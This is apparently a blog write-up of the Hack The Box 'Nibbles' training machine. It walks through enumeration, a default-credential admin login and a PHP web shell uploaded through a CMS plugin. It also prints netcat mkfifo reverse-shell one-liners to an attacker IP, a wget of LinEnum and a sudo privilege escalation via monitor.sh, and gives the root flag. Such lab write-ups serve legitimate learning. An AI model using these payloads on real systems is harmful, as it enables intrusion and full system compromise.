AbbySec

My digital playground โ€“ where hacking meets learning.

View on GitHub
12 July 2025

Nibbles โ€“ Hack The Box

by

๐Ÿง  Summary

Hack The Boxโ€™s Nibbles is an easy Linux box that walks us through basic web enumeration, CMS exploitation, reverse shell upload via a plugin, and privilege escalation through misconfigured script execution rights.


๐Ÿ› ๏ธ Tools Used


๐Ÿ–ฅ๏ธ Target Info


๐Ÿš€ Steps to Root

1. Nmap Scan

nmap -sV -sC -p 80 --open 10.129.249.115

Apache found running on port 80.

๐Ÿ” Nmap Scan

Nmap scan showing Apache 2.4.18

2. WhatWeb Scan

whatweb http://10.129.249.115

Identified Apache version and OS.

๐ŸŒ WhatWeb Scan

WhatWeb shows Apache and Ubuntu

3. Curl the Web Root

curl http://10.129.249.115

Found a suspicious comment:

<!-- /nibbleblog/ directory. Nothing interesting here! -->

๐Ÿ“„ Curl Reveals Hidden Path

HTML comment reveals /nibbleblog directory

4. WhatWeb on /nibbleblog

whatweb http://10.129.249.115/nibbleblog

Reveals site is powered by Nibbleblog.

๐Ÿ” WhatWeb on /nibbleblog

CMS Identified as Nibbleblog

5. Directory Bruteforce with Gobuster

gobuster dir -u http://10.129.249.115/nibbleblog/ -w /usr/share/seclists/Discovery/Web-Content/common.txt

Discovered /admin, /content, /plugins, /README, and more.

๐Ÿšช Gobuster Directory Bruteforce

Found /admin, /plugins, /README

6. Extract CMS Version from README

curl http://10.129.249.115/nibbleblog/README

Found Nibbleblog v4.0.3

๐Ÿ“ README Exposes Version

Nibbleblog v4.0.3 found

7. Check users.xml File

curl -s http://10.129.249.115/nibbleblog/content/private/users.xml | xmllint --format -

Username found: admin

๐Ÿ‘ค users.xml Disclosure

Admin username exposed

8. Check config.xml for Metadata

curl -s http://10.129.249.115/nibbleblog/content/private/config.xml | xmllint --format -

Email fields and blog path information found.

โš™๏ธ config.xml Full Dump

Site config details

โœ‰๏ธ config.xml Email Fields

admin@nibbles.com discovered

9. Admin Login Page

Go to:

http://10.129.249.115/nibbleblog/admin.php

Try default creds:

Username: admin
Password: nibbles

๐Ÿ” Admin Login Page

Login form for Nibbleblog admin

๐Ÿงญ Admin Dashboard Accessed

Inside the Nibbleblog admin panel

10. Upload Web Shell via Plugin

Go to: Plugins โ†’ My Image Upload a shell like:

<?php system('id'); ?>

๐Ÿ’ป PHP Shell: system(โ€˜idโ€™)

Web shell created

๐Ÿ“ค Upload via My Image Plugin

Shell uploaded via plugin

11. Trigger Web Shell

Visit:

http://10.129.249.115/nibbleblog/content/private/plugins/my_image/image.php

Youโ€™ll get UID confirmation.

โœ… Shell Executed Successfully

system('id') returned nibbler user

12. Get a Reverse Shell

Change the current shell.php script to this:

<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.76 9443 >/tmp/f"); ?>

Start listener:

nc -lvnp 9443

๐Ÿ” Reverse Shell Payload (Netcat)

Payload that opens reverse shell to attacker

๐Ÿ“ฅ Shell Received + user.txt

Shell caught on port 9443 and user flag read

13. Post-Exploitation

Unzip personal.zip:

unzip personal.zip

๐Ÿ—‚๏ธ Unzipped personal.zip

Found monitor.sh inside archive

14. Transfer and Run LinEnum

On attacker:

sudo python3 -m http.server 8080 - make sure same dir as linenum

On target:

wget http://10.10.14.76:8080/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

๐ŸŒ Serving LinEnum.sh

Python HTTP server used to host LinEnum

๐Ÿงช Running LinEnum on Target

LinEnum executed for local enum

15. Privilege Escalation via monitor.sh

From LinEnum:

(ALL) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

Exploit:

echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.76 8443 >/tmp/f' >> /home/nibbler/personal/stuff/monitor.sh
nc -lvnp 8443
sudo /home/nibbler/personal/stuff/monitor.sh

โš ๏ธ Sudo Rights for monitor.sh

nibbler can sudo monitor.sh without password

๐ŸŽฏ monitor.sh Exploited

Payload appended and executed

๐Ÿ‘‘ Root Reverse Shell

Connection received as root

๐Ÿงจ Root Flag

cat /root/root.txt
de5e5d6619862a8aa5b9b212314e0cdd

๐Ÿ Root Flag Captured

cat /root/root.txt

โšก Metasploit Alternative (Optional)

If you want to skip manual steps:

msfconsole
use exploit/multi/http/nibbleblog_file_upload
set RHOSTS 10.129.249.115
set RPORT 80
set TARGETURI /nibbleblog
set USERNAME admin
set PASSWORD nibbles
exploit

This gives you a meterpreter shell directly.

๐Ÿ›ก๏ธ Conclusion

The Nibbles box reinforces how outdated CMS versions and weak plugin validation can lead to full system compromise. Enumeration, basic scripting, and privilege escalation misconfigs made this a solid beginner box.

tags: